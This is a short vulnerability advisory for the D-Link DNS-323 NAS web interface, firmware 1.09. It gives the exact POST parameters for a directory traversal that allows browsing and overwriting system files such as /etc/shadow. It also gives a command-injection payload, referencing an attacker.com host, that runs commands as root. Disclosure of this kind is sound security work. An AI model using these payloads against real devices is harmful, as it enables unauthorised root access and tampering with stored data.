D-Link DNS-323 File Upload / Traversal / Command Execution

`###############################################################################  
# Exploit Title: D-Link DNS-323 Multiple Vulnerabilities  
# Author: sghctoma  
# E-mail: [email protected]  
# Category: Hardware  
# Vendor: http://www.dlink.com/  
# Firmware Version: 1.09  
# Product: http://www.dlink.com/us/en/support/product/dns-323-1tb-sharecenter-2-bay-network-storage-sata-raid-0-1-usb-print-server  
###############################################################################  
  
.intro  
======  
  
DNS-323 is a NAS product from D-Link with a web GUI. The GUI is vulnerable to  
multiple attacks described below. Both vulns are inthe "SCHEDULE DOWNLOAD" page,  
and both require authentication. However a normal user is enough, no need for  
admin.  
  
.vulnerabilites  
===============  
  
.arbitrary file upload  
----------------------  
When one clicks in the "Save To" textbox or the "Browse" button, a popup appears  
with the directories on the "Volume_1" share. When one clicks the "+" sign to  
open a directory, a POST request is sent to /goform/GetNewDir with the following  
parameters:  
  
fNEW_DIR /mnt/Volume_1  
f_backup 0  
f_IP_address <ip address of NAS>  
f_file 0  
  
A directory traversal is possible via the fNEW_DIR variable, and we can browse  
not only the directories, but the files too with setting f_file to "1". So, for  
example with the following params one can browse /:  
  
fNEW_DIR /mnt/Volume_1/../../  
f_backup 0  
f_IP_address <ip address of NAS>  
f_file 1  
  
So, this way we can browse the entire directory tree, and we can schedule a  
download to wherever we want. (e.g. overwrite /etc/shadow - oh, yes, we are  
doing everything as root, btw.)  
  
.OS command execution  
---------------------  
  
When one clicks the "play button" on a scheduled download, a POST request is  
sent to /goform/right_now_d with the following parameter:  
  
T1 <at job id>,SCHEDULE<num>,<user>,<source>,<destination>,<num>  
  
SCHEDULE<num> is injectable, so for example setting T1 to the following writes  
the output of the "id" command to a web accessible file:  
  
11,SCHEDULE13 && id > /web/path/id.txt,dns323,ftp://attacker.com/dummy.txt,/Volume_1/Public,1  
  
After such query we can visit <NAS address>/web/path/id.txt, and we will see the  
following content:  
  
uid=0(root) gid=0(root)  
  
###############################################################################  
Screenshots and a write-up of these vulns in Hungarian is available at the  
following URL: http://praudit.hu/index.php/blog/nassoljunk  
  
  
`